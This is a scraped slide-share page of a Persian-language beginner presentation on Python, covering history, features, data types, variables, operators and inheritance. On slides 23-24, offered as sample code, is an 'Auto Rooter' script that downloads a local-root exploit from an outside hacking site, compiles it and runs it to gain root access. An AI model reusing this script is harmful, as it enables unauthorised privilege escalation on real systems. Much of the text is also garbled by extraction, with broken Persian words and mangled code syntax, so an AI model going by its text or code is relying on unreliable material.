Upload
bayle
View
55
Download
0
Embed Size (px)
DESCRIPTION
Programing Language. کاری از : پگاه محبتی مریم یوسفی. تاریخچه. در سال 1991 توسط گویدو ون رسوم ABC هدف : ایجاد جانشینی برای زبان هشتمین زبان برنامه نویسی پرطرفدار جهان. Guido van Rossum. ( Benevolent Dictator for Life ). ویژگی ها : . زبان سطح بالا و شی گرا - PowerPoint PPT Presentation
Citation preview
1
Programing Language
کاری از :پگاه محبتی
مریم یوسفی
2
تاریخچه توسط گویدو ون 1991در سال
رسوم
ABC هدف : ایجاد جانشینی برایزبان
هشتمین زبان برنامه نویسی پرطرفدار جهان
Guido van Rossum( Benevolent Dictator for Life )
3
: ویژگی ها زبان سطح باال و شی گرا• رایگان و متن باز•قابل حمل • از زبانهای سطح باال سطح قدرتمند )ترکیبی•
پایین و تفسیری) امنیت اطالعات• درونی سازی و گسترش• سهولت یادگیری و استفاده•
4
را کPه اولیPن برنامه hello world برای مثال برنامPه پایتون و سی زبان دو در را باشPد مPی سPاده
مقایسه کنید: :cدر
#include <stdio.h>int main(){printf(" Hello world ");return 0;{
5
: در پايتون
print "Hello World !!"
6
اهداف اصلی
خوانایی باالی برنامه ها• کوتاهی و بازدهی نسبی باالی •
آن
یک کار غیر معمول در طراحی این زبان استفاده از فاصله و جلو بردن متن برای مشخص کردن
بلوک های مختلف کد است که به ویژگی آف–ساید معروف است .
7
پایتون یک زبان تفسیری است
برنامه ها به دو روش پردازش می شوند توسط
کامپایلر مفّسر
8
پایتون یک زبان تفسیری است
یک کامپایلر برنامه را می خواند و قبل از اینکه اجرا کنPد آPن را بPه طور کامPل بPه زبان ماشین ترجمPه مPی کند. در ایPن مورد برنامPۀi سطح باال
ک,د مقصد و برنامPۀi ترجمPه شده را ک,د مبدأ اجرا یPا برنامه قاب,ل کPه بار یPک نامند. مPی
iن را بدون ترجمۀPد آPی توانیPل شود ، مPکامپایمجدد به دفعات اجرا کنید.
9
و خواند می خط به خط را برنامه مفسر . که معنی بدین دهد می راانجام محاسبات
می انجام گوید می برنامه که را آنچه مفسردهد.
10
پایتون یک زبان تفسیری است
اجرا مفسر iوسیلۀ به پایتون هاي برنامه. شوند می
وجود مفسر از استفاده براي راه دودارد:
حالت خط فرمان حالت
اسکریپت
11
در حالت خط فرمان ، شما برنامه پایتون 1.را تایپ می کنید و مفّسر نتیجه را چاپ
print 1+1 <<<می کند :
2
12
در حالت اسکریپت ، شما برنامه را در یک 2.فایل می نویسید و از مفّسر براي اجراي
محتویات فایل استفاده کنید. چنین فایلی را print<<<اسکریپت می نامند.
1+1$ python latoya.py
2
13
کار با پایتون شروعتاکنون محیط هاي گرافیکی زیادي جهت برنامه
نویسی پایتون در سیستم عامل هاي گوناگون ازسوي شرکت هاي مختلف عرضه شده است،
IDLE • :از جمله• win32 • wxPython • Tkinter
14
تایپ می کنید بر IDLE کد شما همچنان که دراساس انواع نحوي پایتون رنگ آمیزي می
شود : توضیحات به رنگ قرمزند
رشته ها سبز رنگتعاریف و خروجی هاي مفسر آبی
وکلمات کلیدي پایتون هم نارنجی هستند
15
• .pyw• .pyc• .pyo• .pyd
برنامه هایی را که در پایتون می ذخیره می شوند py.نویسید با پسوند
سایر پسوندهایی که ممکن است در پایتون مشاهده کنید شامل :
16
انواع داده هانوع توصیف مثالstr رشته غیر قابل تغییر از
کاراکترها‘Hello’ “Hello”
list تغییر پذیر، می تواند تایپ های مختلف را دارا
.باشد
[‘string’,true,4]
tuple تغییر ناپذیر، می تواند تایپ های مختلف را دارا
.باشد
(‘string’,true,4)
int یک عدد صحیح 47
float یک عدد اعشار 3.141592
complex یک عدد مختلط با عدد حقیقی و قسمت
موهومی
3+2j
bool عدد درستی True , False
17
متغیرهادسPتورنسبت دهPی یPک متغیPر جدیPد میسازد و
مقداري را به آن نسبت می دهد :
>>> message = "What's up, Doc?">>> n = 17>>> pi = 3.14159>>> print message>>> print n What's up, Doc? 17
18
شرط ها و روند کنترل• if• for• while• class• def• with• try
در برنامه نویسی شی گرا استفاده می شود که یک
بلوک کد را اجرا و فضاهای محلی آن
را به یک کالس ملحق می کند
یک تابع تعریف می کند
یک بلوک کد را به یک مدیر متن ضمیمه می کندجلوگیری از
اعتراض
19
عملگرها
20+32 hour-1 hour*60 minute/60 5**2 (5+9)*(15-7)
+ - / * ** ()
20
م عملگرها تقد
توان < ضرب < تقسیم < جمع< تفریقپرانتزها < رسانی
21
وراثت iنسخۀ کPه اسPت جدیدي کالس تعریPف توانایPی از باشد. یPک کالس موجود می از اي تغییریافتPه آنجایPی کPه کالس جدید تمام متدهاي کالس موجود را بPه ارث مPی برد، ایPن عمPل وراثPت نامیده می شود. بPا توسPعۀi ایPن اسPتعاره، کالس موجود گاهی
گاهی وال,د جدیPد، کالس بPه شود. مPی نامیده یا زیر کالس گفته می شود.کالس فرزند
22
وراثتمزایای اضافه کردن متدهای جدید به یک کالس بدون تغییر در •
کالس موجود ساده تر شدن بعضی از برنامه های پیچیده• استفاده مجدد از کدها به آسانی •
معایب وراثتمPی توانPد خوانایPی برنامPه را دشوارتPر سPازد . هنگامی •
که یک متد احضارمی شود، گاهی یافتن محل تعریف آن واضح نیست .
23
#!/usr/bin/python#Code By G3n3Rall#BHG Security Center#Www.Black-hg.org ||| Www.Greyh4t.Com#www.idc-team.net
import urllib2,sys,os #1
print 'Auto Rooter ...' #2
mylocalroot = 'http://www.black-hg.org/Localroot/x.c'#3
try:
exploit = urllib2.urlopen(mylocalroot( #4
exploit = exploit.read(( #5
xpl = open("x.c", "w"( #6
xpl.write(exploit( #7
xpl.close(( #8
except: #9
پایتون کد نمونه یک
24
print 'Could Not Get Exploit' #10
try: #11
os.system('chmod 777 x'( #12
os.system('gcc x.c -o x'(
os.system('./x Command'(
uid = os.getuid(( #13
if uid is '0': #14
print 'You Have Root Access' #15
else: # 16
print 'Rooting Faild' #17
except: #18 print 'Error In Executing' #19
25
پایان